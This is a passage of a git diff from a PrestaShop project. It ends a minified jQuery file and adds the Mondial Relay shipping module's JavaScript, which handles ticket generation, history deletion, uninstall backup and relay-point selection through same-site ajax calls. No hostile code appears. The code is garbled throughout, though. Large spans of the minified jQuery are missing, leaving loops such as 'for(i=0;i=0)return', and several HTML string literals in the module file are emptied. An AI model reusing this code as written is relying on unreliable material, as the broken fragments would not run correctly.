l=(Z.exec(k)||["",""])[1].toLowerCase(),m=be[l]||be._default,n=m[0],o=b.createElement("div");o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bn.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNaN(b)?"":"alpha(opacity="+b*100+")",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bm,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bm.test(g)?g.replace(bm,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bv(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bw=function(a,c){var d,e,g;c=c.replace(bo,"-$1").toLowerCase();if(!(e=a.ownerDocument.defaultView))return b;if(g=e.getComputedStyle(a,null))d=g.getPropertyValue(c),d===""&&!f.contains(a.ownerDocument.documentElement,a)&&(d=f.style(a,c));return d}),c.documentElement.currentStyle&&(bx=function(a,b){var c,d=a.currentStyle&&a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;!bp.test(d)&&bq.test(d)&&(c=f.left,e&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":d||0,d=f.pixelLeft+"px",f.left=c,e&&(a.runtimeStyle.left=e));return d===""?"auto":d}),bv=bw||bx,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bz=/%20/g,bA=/\[\]$/,bB=/\r?\n/g,bC=/#.*$/,bD=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bE=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bF=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bG=/^(?:GET|HEAD)$/,bH=/^\/\//,bI=/\?/,bJ=/)<[^<]*)*<\/script>/gi,bK=/^(?:select|textarea)/i,bL=/\s+/,bM=/([?&])_=[^&]*/,bN=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bO=f.fn.load,bP={},bQ={},bR,bS,bT=["*/"]+["*"];try{bR=e.href}catch(bU){bR=c.createElement("a"),bR.href="",bR=bR.href}bS=bN.exec(bR.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bO)return bO.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
        ").append(c.replace(bJ,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bK.test(this.nodeName)||bE.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bB,"\r\n")}}):{name:b.name,value:c.replace(bB,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.bind(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?bX(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),bX(a,b);return a},ajaxSettings:{url:bR,isLocal:bF.test(bS[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bT},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bV(bP),ajaxTransport:bV(bQ),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?bZ(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=b$(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.resolveWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f._Deferred(),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bD.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.done,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bC,"").replace(bH,bS[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bL),d.crossDomain==null&&(r=bN.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bS[1]&&r[2]==bS[2]&&(r[3]||(r[1]==="http:"?80:443))==(bS[3]||(bS[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bW(bP,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bG.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bI.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bM,"$1_="+x);d.url=y+(y===d.url?(bI.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bT+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bW(bQ,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){s<2?w(-1,z):f.error(z)}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)bY(g,a[g],c,e);return d.join("&").replace(bz,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var b_=f.now(),ca=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+b_++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ca.test(b.url)||e&&ca.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ca,l),b.url===j&&(e&&(k=k.replace(ca,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cb=a.ActiveXObject?function(){for(var a in cd)cd[a](0,1)}:!1,cc=0,cd;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ce()||cf()}:ce,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cb&&delete cd[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cc,cb&&(cd||(cd={},f(a).unload(cb)),cd[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cg={},ch,ci,cj=/^(?:toggle|show|hide)$/,ck=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cl,cm=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cn;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cq("show",3),a,b,c);for(var g=0,h=this.length;g=e.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),e.animatedProperties[this.prop]=!0;for(g in e.animatedProperties)e.animatedProperties[g]!==!0&&(c=!1);if(c){e.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){d.style["overflow"+b]=e.overflow[a]}),e.hide&&f(d).hide();if(e.hide||e.show)for(var i in e.animatedProperties)f.style(d,i,e.orig[i]);e.complete.call(d)}return!1}e.duration==Infinity?this.now=b:(h=b-this.startTime,this.state=h/e.duration,this.pos=f.easing[e.animatedProperties[this.prop]](this.state,h,0,1,e.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){for(var a=f.timers,b=0;b
        ";f.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),d=b.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,this.doesNotAddBorder=e.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,e.style.position="fixed",e.style.top="20px",this.supportsFixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",this.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),f.offset.initialize=f.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.offset.initialize(),f.offset.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=ct.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!ct.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cu(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cu(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a&&a.style?parseFloat(f.css(a,d,"padding")):null},f.fn["outer"+c]=function(a){var b=this[0];return b&&b.style?parseFloat(f.css(b,d,a?"margin":"border")):null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNaN(j)?i:j}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f})(window); \ No newline at end of file diff --git a/modules/mondialrelay/js/mondialrelay.js b/modules/mondialrelay/js/mondialrelay.js new file mode 100755 index 0000000..96856cc --- /dev/null +++ b/modules/mondialrelay/js/mondialrelay.js @@ -0,0 +1,1323 @@ +/* +function dump(arr,level) { + var dumped_text = ""; + if(!level) level = 0; + + //The padding given at the beginning of the line. + var level_padding = ""; + for(var j=0;j \"" + value + "\"\n"; + } + } + } else { //Stings/Chars/Numbers etc. + dumped_text = "===>"+arr+"<===("+typeof(arr)+")"; + } + return dumped_text; +} +*/ +var alreadyInit=0; +var PS_MRObject = (function($, undifened) { + + var selected_id_carrier = 0; + var selected_relay_point = 0; + var toggle_status_order_list = false; + var toggle_history_order_list = false; + var relay_point_max = 30; + var last_gmap_info_clicked = ''; + +// /!\ All the following list data could be store into the same variable +// But for a better reading of the code, there are separated + +// List of the supplier id which the user trying to fetch the relay + var fetchingRelayPoint = new Array(); + +// List of the relay point object + var relayPointDataContainers = new Array(); + +// List of the google map object + var GmapList = new Object(); + +// List the marker liable to the relay pint + var markerList = new Object(); + + var selected = false; + + /** + * Toggle selected orders + */ + function toggleOrderListSelection() + { + toggle_status_order_list = !toggle_status_order_list; + $('input[name="order_id_list[]"]').attr('checked', toggle_status_order_list); + } + + /** + * Toggle selected histories + */ + function toggleHistoryListSelection() + { + toggle_history_order_list = !toggle_history_order_list; + $('input[name="history_id_list[]"]').attr('checked', toggle_history_order_list); + } + + /** + * Request Ajax call to get tickets + * + * @param detailedExpeditionList + */ + function getTickets(detailedExpeditionList) + { + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'detailedExpeditionList':detailedExpeditionList, 'method':'MRGetTickets', 'mrtoken':mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.success) + { + $('#MR_error_histories').remove(); + for (id_order in json.success) + if (json.success[id_order]) + { + $('#URLA4_' + id_order).html('\ + download pdf'); + $('#URLA5_' + id_order).html('\ + download pdf'); + $('#expeditionNumber_' + id_order).html(json.success[id_order].expeditionNumber); + $('#detailHistory_' + id_order).children('li').children('input').attr('value', json.success[id_order].id_mr_history); + $('#detailHistory_' + id_order).children('li').children('input').attr('id', 'PS_MRHistoryId_' + json.success[id_order].id_mr_history); + } + } + displayBackGenerateSubmitButton(); + displayBackHistoriesSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + displayBackGenerateSubmitButton(); + } + }); + } + + /** + * Check error for the generated tickets + * @param json + */ + function checkErrorGeneratedTickets(json) + { + i = 0; + $('.PS_MRErrorList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRErrorList').length) && json && json.error) + for (id_order in json.error) + if (json.error[id_order] && json.error[id_order].length) + { + $('#errorCreatingTicket_' + id_order).children('li').children('span').html(''); + $('#errorCreatingTicket_' + id_order).fadeOut('slow'); + $('#errorCreatingTicket_' + id_order).fadeIn('slow'); + for (numError in json.error[id_order]) + $('#errorCreatingTicket_' + id_order).children('li').children('span').append(json.error[id_order][numError] + '
        '); + } + }); + checkOtherErrors(json); + } + + /** + * Check Errors code + * @param json + */ + function checkOtherErrors(json) + { + $('#otherErrors').fadeOut('fast', function() + { + if (json && json.other && json.other.error) + for (numError in json.other.error) + if (json.other.error[numError]) + { + $('#otherErrors').fadeIn('slow'); + $('#otherErrors').children('span').html(''); + $('#otherErrors').children('span').append(json.other.error[numError]); + } + }); + } + + /** + * Check anything about generated tickets + * @param json + */ + function checkSucceedGenerateTickets(json) + { + detailedExpeditionList = new Array(); + + i = 0; + $('.PS_MRSuccessList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRSuccessList').length) && json && json.success) + { + for (id_order in json.success) + if (json.success[id_order] && json.success[id_order].expeditionNumber) + { + $('#successCreatingTicket_' + id_order).children('li').children('span').html(''); + $('#PS_MRLineOrderInformation-' + id_order).remove(); + $('#successCreatingTicket_' + id_order).fadeIn('slow'); + detailedExpeditionList.push({'id_order':id_order, 'expeditionNumber':json.success[id_order].expeditionNumber}); + + if (!$('#detailHistory_' + id_order).length) + { + $('#PS_MRHistoriqueTableList').append('\ +
          \ +
        • \ +
        • ' + id_order + '
        • \ +
        • \ +
        • \ +
        • \ +
        '); + } + else + { + $('#detailHistory_' + id_order).children('#URLA4_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#URLA5_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#expeditionNumber_' + id_order).html(''); + } + } + } + }); + return detailedExpeditionList; + } + + /** + * Display the button to generate tickets + */ + function displayBackGenerateSubmitButton() + { + $('#PS_MRSubmitGenerateLoader').css('display', 'none'); + if ($('.order_id_list').length) + $('#PS_MRSubmitButtonGenerateTicket').fadeIn('slow'); + } + + /** + * Display the button to delete histories + */ + function displayBackHistoriesSubmitButton() + { + $('#PS_MRSubmitDeleteHistoriesLoader').css('display', 'none'); + if ($('.history_id_list').length) + $('#PS_MRSubmitButtonDeleteHistories').fadeIn('slow'); + } + + /** + * Request an ajax call to generate the tickets + */ + function generateTicketsAjax() + { + var order_id_list = new Array(); + var weight_list = new Array(); + + $('#PS_MRSubmitButtonGenerateTicket').css('display', 'none'); + $('#PS_MRSubmitGenerateLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="order_id_list[]"]:checked').each(function() + { + order_id_list.push($(this).val()); + weight_list.push(($('#weight_' + $(this).val()).val()) + '-' + $(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'order_id_list' : order_id_list, + 'numSelected' : numSelected, + 'weight_list' : weight_list, + 'method' : 'MRCreateTickets', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + detailedExpeditionList = new Array(); + + checkErrorGeneratedTickets(json); + detailedExpeditionList = checkSucceedGenerateTickets(json); + + if (detailedExpeditionList.length) + getTickets(detailedExpeditionList); + else + displayBackGenerateSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackGenerateSubmitButton(); + } + }); + delete(order_id_list); + delete(weight_list); + } + + /** + * Display deleted history details + */ + function displayDeletedHistoryInformation() + { + $('input[name="history_id_list[]"]:checked').each(function() + { + $(this).parent().parent().css('background-color', '#FFE2E3'); + }); + displayBackHistoriesSubmitButton(); + } + + /** + * Manage the removed histories id + * + * @param json + */ + function checkDeletedHistoriesId(json) + { + if (json && json.success) + { + // Allow to wait the end of the loop to manage unremoved item + i = 0; + for (numberHistoryId in json.success.deletedListId) + { + $('#PS_MRHistoryId_' + json.success.deletedListId[numberHistoryId]).parent().parent().fadeOut('fast', function() { + $(this).remove(); + // Fadeout is asynchome verify everytime the number element + if (++i == json.success.deletedListId.length) + displayDeletedHistoryInformation(json.success.deletedListId.length); + }); + } + // Use if none element exist in the list + if (i == json.success.deletedListId.length) + displayDeletedHistoryInformation(); + } + else + displayBackHistoriesSubmitButton(); + } + + /** + * Delete the histories selected by the merchant + */ + function deleteSelectedHistories() + { + var history_id_list = new Array(); + + $('#PS_MRSubmitButtonDeleteHistories').css('display', 'none'); + $('#PS_MRSubmitDeleteHistoriesLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="history_id_list[]"]:checked').each(function() + { + history_id_list.push($(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'history_id_list' : history_id_list, + 'numSelected' : numSelected, + 'method' : 'DeleteHistory', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + checkOtherErrors(json); + checkDeletedHistoriesId(json); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackHistoriesSubmitButton(); + } + }); + } + + /** + * Display a fancy box displaying details about the + * backup of the database + */ + function PS_MRGetUninstallDetail(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'showFancy', + 'href' : url, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + ((json.html.length) ? + $.fancybox(json.html, + { + 'autoDimensions' : false, + 'width' : 450, + 'height' : 'auto', + 'transitionIn' : 'none', + 'transitionOut' : 'none', + 'onComplete' : function() + { + PS_MRHandleUninstallButton(url); + + // Rewrite some css properties of Fancybox + $('#fancybox-wrap').css('width', ''); + $('#fancybox-content').css('background-color', ''); + $('#fancybox-content').css('border', ''); + } + }) + : ''); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + return false; + } + + /** + * Handle the button when a user clicked on the uninstall button + */ + function PS_MRHandleUninstallButton(url) + { + $('#PS_MR_BackupAction').click(function() + { + $.fancybox.close(); + PS_MRBackupDatabase(url); + }); + + $('#PS_MR_UninstallAction').click(function() + { + window.location.href = url; + $.fancybox.close(); + return true; + }); + + $('#PS_MR_StopUninstall').click(function() + { + $.fancybox.close(); + return false; + }); + } + + /** + * Ajax call to keep the database of the module safe + */ + function PS_MRBackupDatabase(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'backupAndUninstall', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + url += '&keepDatabase=true'; + window.location.href = url; + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * with the selected relay point information + * + * @param relayPointNumber + * @param id_carrier + */ + function PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier) + { + PS_MRSelectedRelayPoint['relayPointNum'] = relayPointNumber; + + // Ajax call to add the selection in the database (compatibility for 1.3) + // But keep this way to add a selection better that the hook + MRjQuery.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'relayPointInfo' : relayPointDataContainers[relayPointNumber], + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + if (PS_MROPC && PS_MRData.PS_VERSION < '1.5') + updateCarrierSelectionAndGift(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * Without relay point information + * + * @param id_carrier + */ + function PS_MRAddSelectedCarrierInDB(id_carrier) + { + PS_MRHideLastRelayPointList(); + + // Make the request + $.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + }, + error: function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Handle function when an user click on a shipping + * + * @param carrierSelected + * @param id_carrier + * @param MRLivraisonType + */ + function PS_MRCarrierSelectedProcess(carrierSelected, id_carrier, MRLivraisonType) + { + // Reset for any carrier changement + if (MRLivraisonType != 'LD1' && MRLivraisonType != 'LDS') + { + // Seek Relay point if it doesn't a home delivery mode + PS_MRGetRelayPoint(carrierSelected); + } + else + { + // Simply add the selected carrier to the db, relay information will be empty + PS_MRAddSelectedCarrierInDB(id_carrier); + + // Won't have any relay points + PS_MRSelectedRelayPoint['relayPointNum'] = -1; + } + } + + /** + * Hide the last displayed relay point list + */ + function PS_MRHideLastRelayPointList() + { + var value = 0; + value = $('.delivery_option_radio:checked').val().replace(',', ''); + + if (value != selected_id_carrier) { + selected_id_carrier = value; + $('.PS_MRSelectedCarrier').fadeOut('fast'); + } + } + + /** + * Check if the user select a carrier and a relay point if exist + */ + function PS_MRCheckSelectedRelayPoint() + { + var input; + + // Check if the input is linked to the module and look into + // a temporary variable if a relay point has been selected + if ((input = $('input[name=id_carrier]:checked')).length && + PS_MRCarrierMethodList[input.val()] != undefined && + PS_MRSelectedRelayPoint['relayPointNum'] == 0) + { + //$('#PS_MRSelectCarrierError').fadeIn('fast'); + alert(PS_MRTranslationList['errorSelection']); + return false; + } + return true; + } + + /** + * Link the generated relay point to an handle click + * Allow to add the selected relay point in the database + */ + function PS_MRHandleSelectedRelayPoint() + { + // Link all new generated relay point Selected button to an action + $('.PS_MRSelectRelayPointButton').click(function() + { + // Unselect all previous selection (normaly juste one) + $('.PS_MRFloatRelayPointSelected').each(function() + { + $(this).attr('class', 'PS_MRFloatRelayPointSelecteIt'); + $(this).children('a').text(PS_MRTranslationList['Select']); + }); + // Make the Selection + $(this).html(PS_MRTranslationList['Selected']); + 